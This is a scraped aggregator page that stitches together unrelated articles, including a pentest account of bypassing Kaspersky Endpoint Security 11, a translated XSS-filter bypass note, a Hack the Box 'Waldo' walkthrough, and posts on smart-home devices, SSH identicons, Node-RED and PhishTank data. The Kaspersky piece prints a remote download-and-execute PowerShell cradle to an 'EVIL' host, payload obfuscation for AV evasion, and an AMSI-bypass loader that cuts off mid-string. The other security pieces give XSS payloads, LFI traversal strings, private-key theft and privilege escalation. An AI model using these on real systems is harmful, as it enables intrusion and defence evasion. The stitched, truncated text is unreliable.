Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

Bypassing Kaspersky Endpoint Security 11

$
0
0
Introduction

During a recent engagement, I was given a windows tablet with no (pentest) tools installed and was asked to test its security and test how far I could go by compromising it. I had my own laptop but I was not allowed to directly connect to the internal network with it. However, I could use it as a C2 if I were to successfully compromise the tablet. Long story short, obtaining the initial shell was more difficult than owning the network due to the antivirus(es) that were required to bypass.

Setup Fully patched Windows 10 running on the tablet Up-to-date Kaspersky Endpoint Security 11 (KES11) on the tablet Google Chrome running a kiosk/PoS mode on the tablet Powershell Empire listener on the C2 Enumeration

So, I’m in Chrome’s kiosk/PoS mode on the tablet and

every Windows shortcut is blocked such as WIN+R, ALT+TAB, CTRL+P, ALT+SPACE, etc. More on that here: Kiosk/POS Breakout Keys in Windows

However, the CTRL+N shortcut to open a new page was not blocked, bingo! We got a new page and Internet access, awesome. I went to the URL bar and quickly used the file:// scheme to download and open cmd.exe :


Bypassing Kaspersky Endpoint Security 11

Instead of rushing straight into the terminal that just popped, I tried to open the Windows Explorer to have GUI access to files and shares by clicking Open file location on the downloaded file. Aaaaand, the action was denied, probably by a GPO.


Bypassing Kaspersky Endpoint Security 11

Back to the terminal:

I enumerated the files and shares and found nothing interesting. Ran wmic product get name, version to enumerate the installed softwares and associated versions. Ran wmic qfe get to list the hotfixes. Ran net user my_user /domain (yes, my_user was domain-joined to simulate an internal attack) Ran whoami /priv to list my privileges.

Got nothing very interesting exploit-wise that would give me a quick win. I was a domain-joined user with no administrative privileges and had many restrictive GPOs applied to the groups I belonged to. AV wise, Kaspersky Endpoint Security version 11.0.0.6499 was installed and so did Windows Defender.

Fail, fail, fail and succeed

One of my goals was to prove I could bypass the AV by injecting an Empire implant and moving on from there. As this test was not a red team and was time-constrained, I did not replicate the tablet’s environment to perform my tests. So, I started by downloading the Empire Powershell launcher through an encrypted channel with Powershell’s Invoke-Expression: IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there") and that would get detected, not by the AV, but by the firewall that was presumably performing SSL inspection! So, I needed a payload that could atleast get through the firewall before getting executed in memory. To spare you some time, I spent a full day failing over and over, getting either detected by the firewall or the AV, making the sysadmins very happy but also tired of getting alerts.

Compression and memory patching make a good pair

I knew Windows Defender was installed on the tablet and was leaving KES11 take control of most of the anti malware scanning. However, I learned the hard way that KES11 was making use of AMSI’s detection of script-based attacks. In fact, on their website, they mention the use of the AMSI technology, but only on the Kaspersky Security for Windows Server page:

Support for AMSI interfaces. Use of AMSI technology, which is integrated in Microsoft Windows, has enabled the improvement of the mechanism for intercepting script launches on the server. The stability of the Script Monitoring task is improved, the application’s influence on the environment is reduced when intercepting scripts and blocking them if threats are detected, and the task scope is significantly expanded now the Script Monitoring component works not only with scripts in JS and VBS files, but also PS1 files. The functionality is available when the Script Monitoring component is installed on servers running Microsoft Windows Server 2016 or newer.

A colleague of mine recently shared an excellent blog post on how to bypass/disable the Anti Malware Scan Interface (AMSI) without elevated privileges by patching it in memory with a DLL : Bypass AMSI and Execute ANY malicious powershell code

With that in mind, we first need to bypass traffic inspection, remember? Invoke-Obfuscation comes to rescue. Compressing the Empire payload a few times was enough to get around it.

First, we grab the base64 part of our launcher.bat file generated by Empire, decode it and send it over to Invoke-Obfuscation . To do so, we run set SCRIPTBLOCK our_empire_base64decoded_payload :


Bypassing Kaspersky Endpoint Security 11

Next, we run COMPRESS\1 a couple of times to compress our payload:


Bypassing Kaspersky Endpoint Security 11

I then successfully downloaded the file to load it in memory with IEX. But now that the traffic inspection was bypassed, the AV was blocking the execution of the payload (no surprise).

What I learned during this gig was that KES11’s heuristics or signatured-based detections were first firing on my payload before AMSI even had a chance to inspect the script. I had to compress the payload exactly 4 times before it could bypass the AV and then get detected by AMSI:


Bypassing Kaspersky Endpoint Security 11

All that’s left to do is disable AMSI and we’re good to go. I hosted the following code on a web server and downloaded it on the tablet with IEX:

function Bypass-AMSI { if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCgBAAAGCwd+EAAACigRAAAKLAxyiQAAcCgSAAAKFyobaigTAAAKDBYNBwgfQBIDKAMAAAYtDHL9AABwKBIAAAoXKhmNFgAAASXQAQAABCgUAAAKGSgVAAAKEwQWEQQZKBYAAAoHHxsoFwAAChEEGSgEAAAGcnMBAHAoEgAAChYqHgIoGAAACioAAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAA

第八篇翻译:绕过XSS防护

$
0
0

今天的主题是关于如何绕过XSS过滤。我已经观察目标网站很久了,并且一直在尝试利用谷歌语法试图发现网站的子域名,大家也可以尝试一下。好不容易找到几个子域,正当我尝试XSS注入的时候,却被防火墙各种蹂躏

site:*.*.namecheap.com & site:*.namecheap.com
第八篇翻译:绕过XSS防护

虽然痛不欲生,但我是那种会放弃的人吗?经过多方面的尝试之后,终于发现了一种莫名其妙的编码方式能够绕过防火墙

<a href="javascript:alert(document.domain)">Click Here</a> "><iframe/src=javascript:[document.domain].find(alert(1))> 视屏 [*]xss-1 [*]xss-2

The Best Smart Home Devices for 2019

$
0
0

The Best Smart Home Devices for 2019
Who doesn’t like a cool home like Tony Stark (Ironman)? If the entire world is at your fingertips; why not your own home?

Home automation has been a dream for each one of us at some point in time. But smart home devices are not just for the rich anymore. Due to modern technological advancements, this amenity can be relished by anyone. No need to get out of the car every time to open the garage door or start an expedition in search of numerous remotes for your entertainment panel. All of this can be done with a single smart home app on your phone.

Home Automation has become more than some parlor tricks that your rich friend used to show off. You can control virtually infinite appliances with a single app. Just choose the room and then select from all the IoT integrated appliances in that room. Then you get the list of actions you can perform from your smart home app. Companies are working to integrate apps with voice-enabled technologies like Cortana, Alexa, and Siri right now. So next time you wanna take a hot bath just tell Alexa to heat the water.

Enough of claims, now let’s get down to facts.

Stats on Smart Home Industry

The global Smart Home Automation market has increased 250% from 2017 to 2019.

The predicted valuation of Smart Home Market will reach $53 billion by 2022 .

Just the Smart home Security market will reach $22 billion by 2021 .

In 2018, 41 million Smart Home devices were shipped just in the US.

By the next decade, all the IoT devices are expected to triple in number .

( Source: Statista )

Top 5 Smart Home Devices for 2019

The Smart home systems are the set of devices that are designed to automate processes that previously needed humanitarian assistance. These smart devices can be used for various purposes ranging from convenience, security, entertainment, business, and much more.

1. Controllers and Hubs


The Best Smart Home Devices for 2019

You’ve seen these connected home devices many times. It’s probably the most trending set of smart home devices. They are the only IoT platform devices that are connected to all the other smart devices in the house. The hottest and most famous controllers and hubs are Amazon Alexa, Google Home, and Apple HomePod. There are many various functions that a controller offers but the main feature is to control all the other smart home devices.

Google Home and Amazon Alexa are going neck to neck in this industry with their respective smart speakers, trying to outdo each other with every new update. With new skills and commands being added every day, these smart home speakers can access more and more number of devices and make them do almost every task remotely.

Industry Leading Products:

Amazon Alexa Speakers

Google Home Speakers

Apple HomePod

Sonos One

Google Home Hub Tablet

Amazon Echo Show Tablet

2. Home Security


The Best Smart Home Devices for 2019

With the world going digital there is a greater need to focus on security. The attackers and thieves are getting smarter and their tools more advanced so homes need to upgrade their security too. Many times people forget to lock their front door and accidents happen, but with new IoT based locks, you can lock the doors remotely from not just any room of your home but anywhere in the world. This was just one example of how recent smart home devices can improve security.

Various devices like front door cameras, doorbells, door speakers, window sensors, etc can be connected to a mainframe using IoT which can alert the homeowner about a possible break-in and alert authorities in time. One danger that these future IoT devices face is from hackers. So these devices should be developed such that they can withstand any cyber attacks. Introducing AI in the mix can help systems analyze user behavior pattern and report in case of any unusual activity.

Industry Leading Products:

Danalock Bluetooth Z-lock

Oplink Alarm Shield

Belkin Wireless NetCam

Chamberlain Garage Door Controller

Schlage Door and Window Sensors

3. Heating and Cooling


The Best Smart Home Devices for 2019

Now that you are safe at your home thanks to smart home security devices, let’s make the home cozier for you. There is no need to get out of your bed to increase the thermostat, just install a Nest smart thermostat and control it from your smartphone. Install this smart thermostat and use it for a week and it will learn your routines and plan the whole day’s temperature according to your daily routine. Such smart thermostat proud themselves on saving energy and many of them show a report of how much energy you saved each day.

Not every room in homes is the same temperature. With smart sensors, the thermostat can understand the priority rooms and control each room temperature differently. Such smart thermostats also keep the homes secure. You’ll get an alert on your phone if the temperature is too low or high for an accident to occur.

Industry Leading Products:

Nest Thermostat Series

Ecobee Thermostat Series

Honeywell Lyric Series

iDevices Thermostat

4. Home Ambiance Control


The Best Smart Home Devices for 2019

Home ambiance control is the Recent Trend in Iot Devices. Philips Hue is the industry-leading standard for such Iot Technology Trend Devices. I’m sure many of you have seen a scene in a movie where the hero changes the whole ambiance of the room for the heroine with just a switch. Well, that is Ambiance control. You can set multiple smart devices to a particular mode for each command.

For instance, if you wish to have a romantic dinner with your partner, just set the lightings to dim and the speaker to play slow jazz music in the background, the AC to a cool condition. Now the next time you just have to give a command to set up a romantic dinner and all these actions will be performed simultaneously. There are a lot of things that you can do with Ambience control like setting up movie nights, playdates for kids, and much more.

Industry Leading Products:

Philips Hue Lighting

Nightingale Sound Machine

Various Smart Speakers (Mentioned above)

5. Best Smart Home Plugs


The Best Smart Home Devices for 2019

The smart home features need a smart power source. So you need something more than the simple electric plugs. Enter Smart Plugs. What if you don’t have the budget to buy smart lighting or smart ACs, once again smart plugs can help you with this. These plugs are connected to your smartphone so whenever you wish to turn on a specific light in a room, just turn on its corresponding smart plug.

You can further make it smarter by adding motion sensors and contact sensors so that they can be accessed by gestures or simply your presence in the room. The latest Smart plugs have also been integrated with Siri and Alexa so that you can operate them with voice command.

Industry Leading Products:

Belkin WeMo Mini Smart Plug

iDevices Switch

Lutron In-Wall Wireless Switches

Conclusion

The Smart Home Devices have come a long way in the last decade but all of these were also possible due to a silent stakeholder, Smart Home App Development . All the smart speakers respond to your searches and requests only because most of the big companies have integrated smart device compatibility to their app development process. If you own a business that can benefit from people asking for you using these speakers then you should think about integrating smart devices to your app.

Improving security by drawing identicons for SSH keys

$
0
0

If you're ever had to generate an encryption key pair or log into a machine using an SSH client configured with visual host keys, you've probably stumbled upon some random ASCII art gobbledygook like this:

The key fingerprint is: 28:b5:b9:9b:15:0d:ac:04:d8:fc:18:fd:af:1b:65:fd you@somewhere.com +-----------------+ | +.. | | . +... | | +o.o | | .o.=.o . | | . = S.+ . | | . . +. . | | . o. E | | +.. | | o .. | +-----------------+

That ASCII art is the 16-byte (128-bit) fingerprint of the host key, represented as a procedurally generated image. An identicon , if you will. It was introduced in OpenSSH 5.1 as a way to help humans recognize strings of random characters in a fast and reliable way. If you were to mistakenly connect to a machine with a different host key, you'd be more likely to recognize (or rather, fail to recognize) an image of the key and realise your mistake.

Oh, and if you're curious, you can add VisualHostKey yes to your ~/.ssh/config file to enable this in your shell when connecting to other hosts.

Of imbibing clerics and purses of coins

Before we delve into the algorithm that draws this ASCII art, let's all sit in a circle while I tell the tale of the Drunken Bishop .

Bishop Peter finds himself in the middle of an ambient atrium. There are walls on all four sides and apparently there is no exit. The floor is paved with square tiles, strictly alternating between black and white. His head heavily aching―probably from too much wine he had before―he starts wandering around randomly. Well, to be exact, he only makes diagonal steps―just like a bishop on a chess board. When he hits a wall, he moves to the side, which takes him from the black tiles to the white tiles (or vice versa). And after each move, he places a coin on the floor, to remember that he has been there before. After 64 steps, just when no coins are left, Peter suddenly wakes up. What a strange dream!

Source: The drunken bishop: An analysis of the OpenSSH fingerprint visualization algorithm , D. Loss et al.

With that amusing story out of the way, let's analyse how that relates to our little project. With Peter walking around randomly in a room, he leaves behind coins on tiles he has visited. After 64 moves, some tiles will contain no coins, while some will have one or more coins on them. If we represent the grid as a 2D plot of the number of coins in each tile, we get the SSH visual host key!

The grid

We start off by defining the size of the room. Per the algorithm, the room size is a rectangle 17 tiles wide by 9 tiles long.

const WIDTH = 17; const HEIGHT = 9;

We define the origin to be in the top left corner, numbering the tiles in columns ( x ) and rows ( y ), starting at 0 :

1111111 01234567890123456 +-----------------+ x 0| | 1| | 2| | 3| | 4| S | 5| | 6| | 7| | 8| | +-----------------+ y We mark the starting position with S = [8, 4] .

We'll represent the grid of coin counts as a single-dimensional array that lists the values from left-to-right, top-to-bottom order. That way, if we want to look up a value for a particular position, we can use x and y to calculate the index:

const world = Array(WIDTH * HEIGHT).fill(0); const coins = world[y * WIDTH + x]; The rules of the game

Since we always want to generate the same walking pattern for our bishop given the same fingerprint, we first have to decide how we're going to turn the fingerprint into a list of commands for the bishop to move. We start by defining the four possible moves the bishop can make:

const MOVES = [ { x: -1, y: -1 }, // !

SpaceX completes its first US national security mission

$
0
0

SpaceX managed to squeak in one moremilestone before the end of 2018. The private spaceflight company successfully launched its first-ever US national security mission, carrying the US Air Force's equally new GPS III satellite into orbit. The effort was comparatively messy as far as recent SpaceX launches go. The company delayed the launch multiple times over the past several days, and the Air Force's performance margin requirements ruled out a landing for the Falcon 9 rocket's first stage.

Hack the Box: Waldo Walkthrough

$
0
0

Today we are going to solve another CTF challenge “waldo”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level:Intermediate

Task:To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of waldo is 10.10.10.87

Penetrating Methodology

Network scanning (Nmap) Browsing IP address through HTTP Exploiting LFI Vulnerability Finding RSA private key through LFI Login through SSH using RSA private key Escaping restricted shell Using linux “Capabilities” to read root flag

Walkthrough

Let’s start off with our basic nmap command to find out the open ports and services.

nmap -sV -sC -T4 10.10.10.87
Hack the Box: Waldo Walkthrough

The Nmap output shows us that there are 4 ports open: 22(SSH), 80(HTTP)

We find that port 80 is running http, so we open the IP in our browser.


Hack the Box: Waldo Walkthrough

We find that we were redirected to /list.html . On the webpage we find that it was an application for list manager. We capture its request using burpsuite and find that it is listing the files in the current directory.


Hack the Box: Waldo Walkthrough

We try to find the application is vulnerable to LFI. We remove “list” to list the files in the current directory and find a file called “fileRead.php”. Enumerating the web application, we found that “dirRead.php” can only be used to read contents of a directory and they cannot be used to take read files. So as we the name suggests “fileRead.php” we use this page to read files.


Hack the Box: Waldo Walkthrough

We use “fileRead.php” to read /etc/passwd. We change the variable from “path” to “file” and use the following string to bypass the filter:

./….//….//….//….//etc//passwd

When we check the /etc/passwd file we find a user with a distinctive UID and GID called “nobody”.


Hack the Box: Waldo Walkthrough

We check the home directory using “dirRead.php” and find a directory called “nobody”. We take a look inside “/home/nobody” and find the directory called “.ssh”. As “.ssh” might contain RSA private key for SSH login, we take a look inside it.


Hack the Box: Waldo Walkthrough

We take a look inside “/home/nobody/.ssh/” and find a file called “.monitor”.


Hack the Box: Waldo Walkthrough

We read the “.monitor” file inside “/home/nobody/.ssh” using “fileRead.php” and find RSA private key.


Hack the Box: Waldo Walkthrough

The response is in JSON format with special characters in between the characters of RSA private key. We use this site here, to decode the JSON response into string.


Hack the Box: Waldo Walkthrough

We copy the RSA private key and save it in our system to login through SSH using this key.


Hack the Box: Waldo Walkthrough

We change the permission for the key and login as user “nobody”, as we are unable to login as “monitor”.

chmod 600 id_rsa ssh -i id_rsa nobody@10.10.10.87

Then we take a look at the home directory and find a file called “user.txt”. We take a look at the content of the file and find the first flag.


Hack the Box: Waldo Walkthrough

Enumerating the system we go into “.ssh” directory and check the authorized_keys file to find monitor user is allowed to login. As we were unable to login as monitor from the external system, we now try to login as user “monitor” internally using the RSA private key “.monitor”.

ssh -i .monitor monitor@localhost
Hack the Box: Waldo Walkthrough

After logging in as user “monitor” we find that we have a restricted shell.

echo $SHELL echo $PATH
Hack the Box: Waldo Walkthrough

We are not able to change the PATH and SHELL variable, so we use “-t” argument to spawn a TTY shell while logging through SSH. After spawning a TTY shell we are able to change the SHELL and PATH environment variables.

ssh -i .monitor monitor@localhost -t bash export SHELL=/bin/bash export PATH=/bin:/sbin:/usr/bin:/usr/sbin:$PATH
Hack the Box: Waldo Walkthrough

Then enumerating the system we don’t find anything in particular. Enumerating further we find that this machine contains “capabilities”. Now Linux “capabilities” are like suid that can give certain file special privileges. We can find them using binary called “getcap”. Now we recursively search for files using getcap and find a binary called “tac” that can read files. Now using “tac” we open root.txt inside root directory and find the final flag.

getcap -r / 2>/dev/null tac /root/root.txt
Hack the Box: Waldo Walkthrough

Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here

Automating GitHub tasks with Node-RED

$
0
0
Some background

While majority of the Node-RED community seems to be interested in home automation (me too, but just a little bit and I honestly think it's light-years ahead of other home automation solutions), I focus mostly on automating my ops tasks as a developer/engineer such as updating cluster resources, for that I wrote Keel , updating CLI clients through continuous delivery, manifests.

Homebrew is a package manager for MacOS where anyone can create their application manifests for an easy distribution and installation. However, there are multiple ways brew formulas can work, such as compiling during installation or downloading a binary. My method of installation is downloading a pre-compiled binary but I had to always remember to update the formula with the latest sha256 https://github.com/webhookrelay/homebrew-tap/blob/master/relay.rb#L5 . If a newer version would be released without an update to this manifest, installation via homebrew would fail :) Well, and there were times when I forgot that :D

Disclaimer

This flow is not directly reusable for you as it's working around my infrastructure. The purpose is to showcase some template generation, webhookrelay node and I also managed to find a problem in crypto node (more about it later).

Stack

Node-RED on RPI with node-red-contrib-webhookrelay so I don't need to expose it to the internet, GitHub account + node and Slack (that's really optional, but helpful as I push lots of updates to my Slack channel).

The flow

The actual flow looks like this:


Automating GitHub tasks with Node-RED

I have uploaded flow here: https://gist.github.com/rusenask/93ddb94479fbd6f1e3dcf3308da4ec1b .

Initially, workflow is triggered by a build job that's being executed with Google Cloud Builder and a webhook is dispatched through this little application Flow is triggered by a webhook to webhookrelay.com endpoint which is routed through a tunnel to a node here which are then translated into Node-RED events. Flow then downloads the binary and saves to disk. sha256 custom function node is actually required due to a problem that I found with generating it via node-red-contrib-crypto-js . The problem I suspect was due to the way data is being fed into the crypto node (not in one go but with streams). Even setting it to 'one bytes buffer' it would still present a wrong sha. So, I had to:

In settings.js enable require as we will need additional crypto libs:

functionGlobalContext: { require: require },

And then read the file and calculate digest:

var require = global.get('require'); var crypto = require('crypto'); var fs = require('fs'); var algo = 'sha256'; var shasum = crypto.createHash(algo); var file = '/tmp/relay-darwin-amd64-nr'; var s = fs.ReadStream(file); s.on('data', function(d) { shasum.update(d); }); s.on('end', function() { var sum = shasum.digest('hex'); node.send({payload: sum}); }); return; Once we have the sha256 sum, we create two templates: one for GitHub brew formula template and one for Slack. For Github we just do a simple overwrite since the file is quite small and only the sha sum ever changes. As for Slack, I chose just to do a simple HTTP request with their incoming webhook integration as the available Slack node seemed a bit too heavyweight for such a tiny requirement. Have a look at the payload that needs to be sent: { "response_type": "in_channel", "text": "Brew formula SHA updated to: {{payload}}" }

You could expand it to add pictures, buttons, attachments and so on, but in this case I just needed to see a notification.

To sum up

So far I am really happy with Node-RED. Even though it would pretty pretty straightforward to just write everything in Go/JS/python, for some reason it's more fun in Node-RED :) I will be automating more and more side project tasks with it. Also, function node is a life saver!

Certifiably Gone Phishing

$
0
0
Phishing is [still] the primary way attackers either commit a primary criminal act (i.e. phish a target to, say, install ransomware) or is the initial vehicle used to gain a foothold in an organization so they can perform other criminal operations to achieve some goal. As such, security teams, vendors and active members of the cybersecurity community work diligently to neutralize phishing campaigns as quickly as possible.

One popular community tool/resource in this pursuit is PhishTank which is a collaborative clearing house for data and information about phishing on the Internet. Also, PhishTank provides an open API for developers and researchers to integrate anti-phishing data into their applications at no charge.

While the PhishTank API is useful for real-time anti-phishing operations the data is also useful for security researchers as we work to understand the ebb, flow and evolution of these attacks. One avenue of research is to track the various features associated with phishing campaigns which include (amongst many other elements) network (internet) location of the phishing site, industry being targeted, domain names being used, what type of sites are being cloned/copied and a feature we’ll be looking at in this post: what percentage of new phishing sites use SSL encryption and ― of these ― which type of SSL certificates are “en vogue”.

Phishing sites are increasingly using and relying on SSL certificates because we in the information security industry spent a decade instructing the general internet surfing population to trust sites with the green lock icon near the location bar. Initially, phishers worked to compromise existing, encryption-enabled web properties to install phishing sites/pages since they could leech off of the “trusted” status of the associated SSL certificates. However, the advent of services like Let’s Encrypt have made it possible for attacker to setup their own phishing domains that look legitimate to current-generation internet browsers and prey upon the decade’s old “trust the lock icon” mantra that most internet users still believe. We’ll table that path of discussion (since it’s fraught with peril if you don’t support the internet-do-gooder-consequences-be-darned cabal’s personal agendas) and just focus on how to work with PhishTank data in R and take a look at the most prevalent SSL certs used in the past week (you can extend the provided example to go back as far as you like provided the phishing sites are still online).

Accessing PhishTank From R You can use the aquarium package [ GL | GH ] to gain access to the data provided by PhishTank’s API (you need to sign up for access and put you API key into the PHISHTANK_API_KEY environment variable which is best done via your ~/.Renviron file).

Let’s setup all the packages we’ll need and cache a current copy of the PhishTank data. The package forces you to utilize your own caching strategy since it doesn’t make sense for it to decide that for you. I’d suggest either using the time-stamped approach below or using some type of database system (or, say, Apache Drill) to actually manage the data.

Here are the packages we’ll need:

library(psl) # git[la|hu]b/hrbrmstr/psl library(curlparse) # git[la|hu]b/hrbrmstr/curlparse library(aquarium) # git[la|hu]b/hrbrmstr/aquarium library(gt) # github/rstudio/gt library(furrr) library(stringi) library(openssl) library(tidyverse)

NOTE: The psl and curlparse packages are optional. windows users will find it difficult to get them working and it may be easier to review the functions provided by the urlparse package and substitute equivalents for the domain() and apex_domain() functions used below. Now, we get a copy of the current PhishTank dataset & cache it:

if (!file.exists("~/Data/2018-12-23-fishtank.rds")) { xdf <- pt_read_db() saveRDS(xdf, "~/Data/2018-12-23-fishtank.rds") } else { xdf <- readRDS("~/Data/2018-12-23-fishtank.rds") }

Let’s take a look:

glimpse(xdf) ## Observations: 16,446 ## Variables: 9 ## $ phish_id <chr> "5884184", "5884138", "5884136", "5884135", ... ## $ url <chr> "http://internetbanking-bancointer.com.br/lo... ## $ phish_detail_url <chr> "http://www.phishtank.com/phish_detail.php?p... ## $ submission_time <dttm> 2018-12-22 20:45:09, 2018-12-22 18:40:24, 2... ## $ verified <chr> "yes", "yes", "yes", "yes", "yes", "yes", "y... ## $ verification_time <dttm> 2018-12-22 20:45:52, 2018-12-22 21:26:49, 2... ## $ online <chr> "yes", "yes", "yes", "yes", "yes", "yes", "y... ## $ details <list> [<209.132.252.7, 209.132.252.0/24, 7296 468... ## $ target <chr> "Other", "Other", "Other", "PayPal", "Other"... </chr> </list> </chr> </dttm> </chr> </dttm> </chr> </chr> </chr>

The data is really straightforward. We have unique ids for each site/campaign the URL of the site along with a URL to extra descriptive info PhishTank has on the site/campaign. We also know when the site was submitted/discovered and other details, such as the network/internet space the site is in:

glimpse(xdf$details[1]) ## List of 1 ## $ :'data.frame': 1 obs. of 6 variables: ## ..$ ip_address : chr "209.132.252.7" ## ..$ cidr_block : chr "209.132.252.0/24" ## ..$ announcing_network: chr "7296 468" ## ..$ rir : chr "arin" ## ..$ country : chr "US" ## ..$ detail_time : chr "2018-12-23T01:46:16+00:00"

We’re going to focus on recent phishing sites (in this case, ones that are less than a week old) and those that use SSL certificates:

filter(xdf, verified == "yes") %>% filter(online == "yes") %>% mutate(diff = as.numeric(difftime(Sys.Date(), verification_time), "days")) %>% filter(diff <= 7) %>% { all_ct <<- nrow(.) ; . } %>% filter(grepl("^https", url)) %>% { ssl_ct <<- nrow(.) ; . } %>% mutate( domain = domain(url), apex = apex_domain(domain) ) -> recent

Let’s ee how many are using SSL:

(ssl_ct) ## [1] 383 (pct_ssl <- ssl_ct / all_ct) ## [1] 0.2919207

This percentage is lower than a recent “50% of all phishing sites use encryption” statistic going around of late. There are many reasons for the difference:

PhishTank doesn’t have all phishing sites in it We just looked at a week of examples Some sites were offline at the time of access attempt Diverse attacker groups with varying degrees of competence engage in phishing attacks Despite the 20% deviation, 30% is still a decent percentage, and a green, “everything’s
Certifiably Gone Phishing

” icon is a still a valued prize so we shall pursue our investigation.

Now we need to retrieve all those certs. This can be a slow operation that so we’ll grab them in parallel. It’s also quite possible the “online”status above data frame glimpse is inaccurate (sites can go offline quickly) so we’ll catch certificate request failures with safely() and cache the results:

cert_dl <- purrr::safely(openssl::download_ssl_cert) plan(multiprocess) if (!file.exists("~/Data/recent.rds")) { recent <- mutate(recent, cert = future_map(domain, cert_dl)) saveRDS(recent, "~/Data/recent.rds") } else { recent <- readRDS("~/Data/recent.rds") }

Let see how many request failures we had:

(failed <- sum(map_lgl(recent$cert, ~is.null(.x$result)))) ## [1] 25 (failed / nrow(recent)) ## [1] 0.06527415

As noted in the introduction to the blog, when attackers want to use SSL for the lock icon ruse they can either try to piggyback off of legitimate domains or rely on Let’s Encrypt to help them commit crimes. Let’s see what the top p”apex” domains](https://help.github.com/articles/about-supported-custom-domains/#apex-domains) were in use in the past week:

count(recent, apex, sort = TRUE) ## # A tibble: 255 x 2 ## apex n ## <chr> <int> ## 1 000webhostapp.com 42 ## 2 google.com 17 ## 3 umbler.net 8 ## 4 sharepoint.com 6 ## 5 com-fl.cz 5 ## 6 lbcpzonasegurabeta-viabcp.com 4 ## 7 windows.net 4 ## 8 ashaaudio.net 3 ## 9 brijprints.com 3 ## 10 portaleisp.com 3 ## # ... with 245 more rows </int> </chr>

We can see that a large hosting provider ( 000webhostapp.com ) bore a decent number of these sites, but Google Sites (which is what the full domain represented by the google.com apex domain here is usually pointing to) Microsoft SharePoint ( sharepoint.com ) and Microsoft forums ( windows.net ) are in active use as well (which is smart give the pervasive trust associated with those properties). There are 241 distinct apex domains in this 1-week set so what is the SSL cert diversity across these pages/campaigns?

We ultimately used openssl::download_ssl_cert to retrieve the SSL certs of each site that was online, so let’s get the issuer and intermediary certs from them and look at the prevalence of each. We’ll extract the fields from the issuer component returned by openssl::download_ssl_cert then just do some basic maths:

filter(recent, map_lgl(cert, ~!is.null(.x$result))) %>% mutate(issuers = map(cert, ~map_chr(.x$result, ~.x$issuer))) %>% mutate( inter = map_chr(issuers, ~.x[1]), # the order is not guaranteed here but the goal of the exercise is root = map_chr(issuers, ~.x[2]) # to get you working with the data vs build a 100% complete solution ) %>% mutate( inter = stri_replace_all_regex(inter, ",([[:alpha:]])+=", ";;;$1=") %>% stri_split_fixed(";;;") %>% # there are parswers for the cert info fields but this hack is quick and works map(stri_split_fixed, "=", 2, simplify = TRUE) %>% map(~setNames(as.list(.x[,2]), .x[,1])) %>% map(bind_cols), root = stri_replace_all_regex(root, ",([[:alpha:]])+=", ";;;$1=") %>% stri_split_fixed(";;;") %>% map(stri_split_fixed, "=", 2, simplify = TRUE) %>% map(~setNames(as.list(.x[,2]), .x[,1])) %>% map(bind_cols) ) -> recent

Let’s take a look at roots:

unnest(recent, root) %>% distinct(phish_id, apex, CN) %>% count(CN, sort = TRUE) %>% mutate(pct = n/sum(n)) %>% gt::gt() %>% gt::fmt_number("n", decimals = 0) %>% gt::fmt_percent("pct") CN n pct DST Root CA X3 96 26.82% COMODO RSA Certification Authority 93 25.98% DigiCert Global Root G2 45 12.57% Baltimore CyberTrust Root 30 8.38% GlobalSign 27 7.54% DigiCert Global Root CA 15 4.19% Go Daddy Root Certificate Authority G2 14 3.91% COMODO ECC Certification Authority 11 3.07% Actalis Authentication Root CA 9 2.51% GlobalSign Root CA 4 1.12% Amazon Root CA 1 3 0.84% Let’s Encrypt Authority X3 3 0.84% AddTrust External CA Root 2 0.56% DigiCert High Assurance EV Root CA 2 0.56% USERTrust RSA Certification Authority 2 0.56% GeoTrust Global CA 1 0.28% SecureTrust CA 1 0.28%

DST Root CA X3 is (wait for it) Let’s Encrypt ! Now, Comodo is not far behind and indeed surpasses LE if we combine the extra-special “enhanced” versions they provide and it’s important for you to read the comments near the lines of code making assumptions about order of returned issuer information above. Now, let’s take a look at intermediaries:

